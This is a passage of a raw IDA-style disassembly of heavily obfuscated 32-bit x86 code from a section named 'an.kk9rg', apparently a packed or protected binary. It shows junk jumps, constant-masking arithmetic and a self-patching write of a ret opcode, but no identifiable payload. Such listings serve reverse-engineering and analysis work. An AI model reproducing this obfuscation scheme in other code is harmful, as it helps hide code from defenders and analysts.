eax, 92B16BD7h call sub_100181E1 call sub_1001C799 loc_10013662: ; CODE XREF: sub_1001CF40-722j jmp loc_100169E4 ; END OF FUNCTION CHUNK FOR sub_10016323 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10013667: ; CODE XREF: sub_1001ABFD-34E5j jz loc_1001D0ED jmp loc_1001A779 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10013673: ; CODE XREF: an.kk9rg:1001CBA3j push esi ; START OF FUNCTION CHUNK FOR sub_100136FF loc_10013674: ; CODE XREF: sub_100136FF:loc_1001CB82j add esi, 87ECED8Ch xchg esi, [esp+0] jmp sub_100173FA ; END OF FUNCTION CHUNK FOR sub_100136FF ; --------------------------------------------------------------------------- cdq jmp loc_10015DB8 ; =============== S U B R O U T I N E ======================================= sub_10013688 proc near ; CODE XREF: an.kk9rg:10014714j ; sub_10013389+3E07p ; FUNCTION CHUNK AT 10014E46 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10016352 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100180E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001927A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10019D09 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001AA1C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001AE94 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001B9EF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CD13 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CE13 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D8D4 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jnz loc_1001AE94 cmp dword ptr [ebp-10h], 0 jnz loc_1001AA1C jmp loc_10019D09 sub_10013688 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test ebp, eax jmp loc_1001A6EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_100136A8: ; CODE XREF: sub_10017667-2A7Fj xchg edi, ecx sbb edi, eax loc_100136AC: ; CODE XREF: sub_10017667:loc_1001548Ej mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001CB7A jmp loc_1001B241 ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_100136BD: ; CODE XREF: sub_100145ED:loc_10015C3Dj jge loc_10019EF6 ; END OF FUNCTION CHUNK FOR sub_100145ED ; START OF FUNCTION CHUNK FOR sub_1001B3A1 loc_100136C3: ; CODE XREF: sub_1001B3A1-836Fj jmp loc_10018D1A ; END OF FUNCTION CHUNK FOR sub_1001B3A1 ; --------------------------------------------------------------------------- not ecx sub ecx, edi sbb edx, 8C305234h jmp loc_10019EF4 ; =============== S U B R O U T I N E ======================================= sub_100136D7 proc near ; CODE XREF: sub_10015DB9+794Bp ; FUNCTION CHUNK AT 10013729 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014909 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014CFE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10015261 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015855 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100159D8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10015E16 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016294 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001698F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016BC5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016CAC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10017DA7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10018851 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018E3D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10019725 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100198A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019FBE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A031 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001A637 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001AD33 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 1001AD66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B029 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001B7E4 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001C149 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C86B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001D01D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D595 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001D776 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001DEEF SIZE 00000005 BYTES xchg edx, [esp+0] pop edx add edx, 0FA95DB25h mov edx, [edx] loc_100136E3: ; CODE XREF: sub_100174F4:loc_10019546j imul byte ptr [edx] cmp al, 0A4h jmp loc_100198A0 sub_100136D7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_100136EC: ; CODE XREF: sub_10013061+35E6j ; sub_10013061:loc_100175F5j push ecx mov ecx, ebp push offset loc_10015617 jmp nullsub_156 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- loc_100136F9: ; CODE XREF: an.kk9rg:1001478Bj ja loc_10018D0A ; =============== S U B R O U T I N E ======================================= sub_100136FF proc near ; CODE XREF: sub_1001564A:loc_1001A529p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10013674 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100157BA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018081 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018B9D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CB82 SIZE 00000006 BYTES xchg esi, [esp+0] pop esi push 0B2674EC6h pop esi xor esi, 3CF2C1B5h jmp loc_10018081 sub_100136FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:off_10002010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014698 loc_1001371A: ; CODE XREF: sub_10014698+69F9j jmp nullsub_144 ; END OF FUNCTION CHUNK FOR sub_10014698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016573 loc_1001371F: ; CODE XREF: sub_10016573:loc_10016611j ; sub_10015945:loc_1001D570j ... push offset loc_1001DE27 jmp loc_1001B735 ; END OF FUNCTION CHUNK FOR sub_10016573 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10013729: ; CODE XREF: sub_100136D7+A0A7j xor eax, 8E912677h loc_1001372F: ; CODE XREF: sub_100142E8+1846j ; sub_100136D7:loc_1001698Fj ... jmp loc_1001DEEF ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10013734: ; CODE XREF: sub_100142E8+169j ; sub_100136D7+795Bj pop ecx xchg esi, [esp-4+arg_0] jmp loc_100188BA ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- jge loc_100156D4 jmp loc_1001D11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10013748: ; CODE XREF: sub_1001679F:loc_1001DEC9j jz loc_100171C5 jmp loc_10015C27 ; END OF FUNCTION CHUNK FOR sub_1001679F ; =============== S U B R O U T I N E ======================================= sub_10013753 proc near ; DATA XREF: an.kk9rg:1001B3F4o ; FUNCTION CHUNK AT 100191A1 SIZE 0000001D BYTES push edi push 12BD100Ah pop edi add edi, 75773CB1h jnz loc_100191A1 sub_10013753 endp ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10013766: ; CODE XREF: sub_10019409+3977j jmp loc_10014200 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DD1D loc_1001376B: ; CODE XREF: sub_1001DD1D-4EE5j jmp nullsub_173 ; END OF FUNCTION CHUNK FOR sub_1001DD1D ; --------------------------------------------------------------------------- or edi, 0DB505490h jmp loc_1001919F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001377B: ; CODE XREF: sub_10015B5D+1D21j mov [ebp-1Ch], eax loc_1001377E: ; CODE XREF: an.kk9rg:loc_10016C71j inc dword ptr [ebp-20h] call sub_1001D862 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_10013786: ; CODE XREF: sub_10015C77+4j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10018C2A jmp loc_1001D060 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- loc_1001379A: ; CODE XREF: an.kk9rg:loc_1001D03Ej push 3A6D6B2Fh pop eax and eax, 1B7B813Eh sub eax, 8F4211BEh xor eax, 9520BC31h test eax, 80000000h loc_100137B8: ; CODE XREF: an.kk9rg:1001CAD6j jmp loc_10014A4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_100137BD: ; CODE XREF: sub_10013044:loc_10015939j add eax, 0E997C5A4h loc_100137C3: ; CODE XREF: sub_10015066+86B6j mov eax, [eax] loc_100137C5: ; CODE XREF: sub_10017CF8:loc_1001754Fj call sub_1001828B loc_100137CA: ; CODE XREF: sub_1001701B+B17j jnz loc_10017AE7 jmp loc_1001CC77 ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- loc_100137D5: ; CODE XREF: an.kk9rg:1001CA54j push ebx ; =============== S U B R O U T I N E ======================================= sub_100137D6 proc near ; CODE XREF: sub_10015E3A+BD7p ; sub_10017BF9+1E6Dj xchg edx, [esp+0] pop edx mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_1001468E jmp loc_10017E7C sub_100137D6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100137EC: ; CODE XREF: an.kk9rg:loc_10016142j ; sub_10019409:loc_1001A84Ej ror eax, 0Bh mov ds:dword_1001B740, eax retn ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100137F6: ; CODE XREF: sub_10015086+6696j jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015353 loc_100137FB: ; CODE XREF: sub_10015353+Cj jmp loc_10019F6F ; END OF FUNCTION CHUNK FOR sub_10015353 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10013800: ; CODE XREF: sub_10019409+3971j ; sub_10015E0D+7298j rol eax, 0Bh push edx mov edx, eax xchg edx, [esp+4+var_4] call sub_100174F4 jmp loc_10019A22 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10013814: ; CODE XREF: sub_10013389+68F9j mov ecx, ebp pop ebp xchg edi, [esp-8+arg_4] mov ebp, edi pop edi retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001381E: ; CODE XREF: sub_10017CF8:loc_100164EEj jmp loc_10019931 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- push edx jmp loc_100199F3 ; --------------------------------------------------------------------------- loc_10013829: ; CODE XREF: an.kk9rg:1001B063j xor ebx, ecx ; START OF FUNCTION CHUNK FOR sub_1001590F loc_1001382B: ; CODE XREF: sub_1001590F:loc_1001D9F7j xor edi, 0D3F6B85Ch call sub_1001492C ; END OF FUNCTION CHUNK FOR sub_1001590F ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10013836: ; CODE XREF: sub_10013061+199Aj jmp loc_1001C860 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001534D loc_1001383B: ; CODE XREF: sub_1001534D:loc_100181B5j mov ebp, esp jnb sub_10018C61 push offset sub_1001C758 jmp nullsub_27 ; END OF FUNCTION CHUNK FOR sub_1001534D ; =============== S U B R O U T I N E ======================================= sub_1001384D proc near ; DATA XREF: sub_10017A58-2255o push esi push 853AC92Dh pop esi xor esi, 287B9C2Dh push offset sub_1001988C jmp nullsub_63 sub_1001384D endp ; --------------------------------------------------------------------------- or eax, eax jnz loc_10014461 jmp loc_10014790 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10013871: ; CODE XREF: sub_1001C26A-6528j add ecx, edi xor esi, ebx loc_10013875: ; CODE XREF: sub_1001C26A:loc_100141CDj push offset loc_10017CE4 jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001387F: ; CODE XREF: sub_10013389+81Fj push offset sub_100182A3 jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001997C loc_10013889: ; CODE XREF: sub_1001997C:loc_10018E74j and edi, 3434E3E0h jns loc_1001922F ; END OF FUNCTION CHUNK FOR sub_1001997C ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_10013895: ; CODE XREF: sub_10015BFC+567Cj jmp loc_1001A937 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001389A: ; CODE XREF: sub_1001C799-68E0j jmp loc_1001483D ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- add eax, ebp cmp edi, 2505BE78h jmp loc_10017B37 ; --------------------------------------------------------------------------- mov [edx], eax mov esi, 0BF10757Eh jmp sub_10017EFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_100138B8: ; CODE XREF: sub_10019030:loc_10016D25j mov ebp, esp js sub_100138FD add esp, 0FFFFFFF8h mov [ebp-8], edx mov [ebp-4], eax jmp loc_10018BA2 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_100138CE: ; CODE XREF: sub_10015E0D:loc_10015666j ; sub_10015E0D-793j rol eax, 13h add eax, 0CBD62839h xchg eax, [esp+0] jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cmp eax, edx jmp loc_10016CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_100138E7: ; CODE XREF: sub_10018AB1-24F3j jz loc_10015F16 jmp loc_1001B452 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_100138F2: ; CODE XREF: sub_100193F2+355j jnz loc_1001827A jmp loc_100146C2 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_100138FD proc near ; CODE XREF: sub_10019030-5776j ; FUNCTION CHUNK AT 10015123 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015934 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001600A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017D97 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10018B14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001AB9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D0B6 SIZE 0000000F BYTES add esp, 0FFFFFFF8h mov [ebp-8], edx mov [ebp-4], eax mov edx, [ebp-8] mov eax, [ebp-4] call sub_1001558A jmp loc_10015123 sub_100138FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10013916 proc near ; DATA XREF: an.kk9rg:10017E23o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10019A1D SIZE 00000005 BYTES adc edx, [esp+arg_0] add esp, 8 push edi push 0ABC688EFh pop edi xor edi, 86A6C5F2h and edi, 0EBB26E91h jmp loc_10019A1D sub_10013916 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_10013935: ; CODE XREF: sub_1001A54C+2D36j xor ebp, 9FE3C0E9h pushf jmp loc_1001C72C ; END OF FUNCTION CHUNK FOR sub_1001A54C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_10013942: ; CODE XREF: sub_1001C535-C52j jmp nullsub_198 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_10013947: ; CODE XREF: sub_10018AB1+3j jmp loc_1001B3DC ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001394C: ; CODE XREF: sub_1001D392-1948j jl loc_1001B2F6 loc_10013952: ; CODE XREF: sub_100184A9+1Dj jmp loc_1001D0FC ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001677A loc_10013957: ; CODE XREF: sub_1001677A+3j jmp loc_10017798 ; END OF FUNCTION CHUNK FOR sub_1001677A ; --------------------------------------------------------------------------- jno loc_1001C61D jmp loc_1001AEF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10013967: ; CODE XREF: sub_1001492C+1E22j ; sub_1001492C+1E30j ... jmp loc_1001471D ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001396C: ; CODE XREF: sub_10013389:loc_1001707Cj ; sub_1001492C:loc_1001A589j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push edi mov edi, ebp jmp loc_10017CEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_10013977: ; CODE XREF: sub_10013BB8+7234j jz loc_100131CB jmp loc_1001A1D9 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10013982: ; CODE XREF: sub_100174F4:loc_1001CB88j jz loc_1001A3AA add ecx, 0D4486862h jmp loc_10017FBF ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- loc_10013993: ; CODE XREF: an.kk9rg:10016FC0j js loc_1001926C ; =============== S U B R O U T I N E ======================================= sub_10013999 proc near ; CODE XREF: sub_1001DA6D:loc_10017F3Fp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100148DF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100156FD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 100157AD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100159C0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10018D81 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019A90 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A671 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B6C8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001CD57 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_100185DC jmp loc_10019A90 sub_10013999 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ror ecx, 13h jmp sub_10015995 ; --------------------------------------------------------------------------- loc_100139B6: ; DATA XREF: sub_10016A1B+1478o jz loc_10017338 ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_100139BC: ; CODE XREF: sub_10016A1B+Aj ; sub_1001853F+Cj ... jnz loc_1001A725 call sub_1001B45F loc_100139C7: ; CODE XREF: sub_10019FDC-1809j jmp loc_1001ACC2 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- loc_100139CC: ; CODE XREF: an.kk9rg:10017E5Ej jmp sub_100177EF ; --------------------------------------------------------------------------- ror esi, 11h jmp sub_1001924A ; --------------------------------------------------------------------------- loc_100139D9: ; DATA XREF: sub_10014DD9+6379o mov eax, [eax] mov al, [eax] jns loc_1001C39A sub al, 99h push 0F5A936A6h pop edx xor edx, 8ABBD790h jmp loc_1001D29E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_100139F6: ; CODE XREF: sub_10018066:loc_10014443j push offset loc_10018ED3 jmp nullsub_150 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10013A00: ; CODE XREF: sub_10015E0D+6862j jl loc_10015666 loc_10013A06: ; CODE XREF: sub_10015E0D:loc_10013628j push esi push 0CA6D9407h pop esi add esi, 7F002D85h jb loc_10017A23 push 9866D564h jmp loc_10017A14 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10013A23: ; CODE XREF: sub_1001D461+D4j pop eax and eax, 0A9CCBE8Bh rol eax, 10h or eax, 13DFC24Bh add eax, 800C60D5h jmp loc_1001CF5A ; END OF FUNCTION CHUNK FOR sub_1001D461 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10013A3E: ; CODE XREF: sub_10018066-B2Cj call sub_1001B913 mov eax, [ebp-4] and dword ptr [eax+24h], 7FFFFFFFh lea eax, [ebp-14h] loc_10013A50: ; CODE XREF: sub_1001456F:loc_1001DF17j call sub_1001564A ; END OF FUNCTION CHUNK FOR sub_10018066 ; START OF FUNCTION CHUNK FOR sub_10019269 loc_10013A55: ; CODE XREF: sub_10019269+Cj jmp loc_1001341F ; END OF FUNCTION CHUNK FOR sub_10019269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017E49 loc_10013A5A: ; CODE XREF: sub_10017E49+1j jmp loc_10017BB6 ; END OF FUNCTION CHUNK FOR sub_10017E49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10013A5F: ; CODE XREF: sub_10019E2E-21Ej jz loc_1001D928 jmp loc_1001A91C ; END OF FUNCTION CHUNK FOR sub_10019E2E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10013A6A proc near ; CODE XREF: sub_10014B3A+5p ; sub_10015B5D:loc_100177EAj push ebp mov ebp, esp push ecx push edx jmp loc_10013441 sub_10013A6A endp ; --------------------------------------------------------------------------- loc_10013A74: ; CODE XREF: an.kk9rg:loc_1001807Cj mov byte ptr [eax], 0C3h jmp sub_1001A1DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A39 loc_10013A7C: ; CODE XREF: sub_10016A39:loc_10016A3Dj pop edx mov eax, [esp-4+arg_0] push edx call sub_1001677A push 7998E99h pop eax sub eax, 5C974F8Fh jmp loc_100163F5 ; END OF FUNCTION CHUNK FOR sub_10016A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_10013A97: ; CODE XREF: sub_10017CF8:loc_1001C0ACj jnz loc_10016817 jmp loc_1001AFD8 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013AA2: ; CODE XREF: sub_10016D66+6BA2j test edi, 9E109EEAh jmp loc_1001BC14 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10013AAD: ; CODE XREF: sub_10016D04-DF3j jo loc_10019113 loc_10013AB3: ; CODE XREF: sub_10019E2E+3384j add edx, 334F7BFCh jo loc_100182C9 loc_10013ABF: ; CODE XREF: sub_10016D04:loc_10019F0Ej push 0FA14E1ECh pop eax xor eax, 7001D8D4h js loc_1001C35C loc_10013AD1: ; CODE XREF: sub_100194EA-84Ej jmp loc_100170AF ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_10013AD6: ; CODE XREF: sub_1001A6F7:loc_100159FDj jmp loc_10015A97 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018330 loc_10013ADB: ; CODE XREF: sub_10018330+3j push offset sub_10015743 jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_10018330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10013AE5: ; CODE XREF: sub_10016734:loc_100195C0j pop ecx loc_10013AE6: ; CODE XREF: an.kk9rg:loc_1001A6EFj push edx jmp loc_10018318 ; END OF FUNCTION CHUNK FOR sub_10016734 ; =============== S U B R O U T I N E ======================================= sub_10013AEC proc near ; DATA XREF: an.kk9rg:10018EC9o popf call sub_1001753F sub_10013AEC endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10013AF2: ; CODE XREF: sub_1001679F-26E8j jmp loc_1001C36D ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10013AF7: ; CODE XREF: sub_1001893F-1811j imul byte ptr [edx] call sub_10017D86 loc_10013AFE: ; CODE XREF: an.kk9rg:10016015j jmp loc_10019041 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A70A loc_10013B03: ; CODE XREF: sub_1001A70A:loc_10016DB9j call sub_1001BBDA loc_10013B08: ; CODE XREF: sub_1001BC80-45CBj jmp loc_10018A5B ; END OF FUNCTION CHUNK FOR sub_1001A70A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10013B0D: ; CODE XREF: sub_10016734+1580j jno loc_1001AFC8 loc_10013B13: ; CODE XREF: sub_10016734:loc_1001D143j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10017C96 jmp loc_1001D6CA ; END OF FUNCTION CHUNK FOR sub_10016734 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014B85 loc_10013B25: ; CODE XREF: sub_10014B85+8j jmp nullsub_199 ; END OF FUNCTION CHUNK FOR sub_10014B85 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10013B2B: ; CODE XREF: sub_10019571+4171j jmp loc_10016DC3 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100144F5 loc_10013B30: ; CODE XREF: sub_100144F5+7j mov dword ptr [ebp-18h], 0 loc_10013B37: ; CODE XREF: sub_1001A5EB+7j mov eax, [ebp-14h] mov eax, [eax+20h] push offset loc_100159C9 jmp nullsub_15 ; END OF FUNCTION CHUNK FOR sub_100144F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10013B47: ; CODE XREF: sub_10015066+Cj ; an.kk9rg:1001813Cj rol eax, 11h sub eax, 0EE31F5Bh and eax, 45128321h test eax, 4000000h jmp loc_1001B1AD ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10013B61: ; CODE XREF: sub_10015086+94Dj shl eax, 2 cdq add eax, [esp+0] adc edx, [esp+arg_0] jb loc_100196EB jmp loc_100188D5 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- loc_10013B77: ; CODE XREF: an.kk9rg:1001C727j push ebx push 920D2095h pop ebx add ebx, 2E09836Ah jmp loc_1001ACD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015A4A loc_10013B89: ; CODE XREF: sub_10015A4A:loc_1001D2C5j mov ds:dword_10019664, eax xor eax, eax mov ds:dword_10019654, eax ; END OF FUNCTION CHUNK FOR sub_10015A4A ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10013B95: ; CODE XREF: sub_10013389+107j ; sub_10015A4A+4j ... jns loc_100182BC cmp ds:dword_10019664, 0 jnz loc_100172EA jmp loc_1001387F ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10013BAD proc near ; CODE XREF: 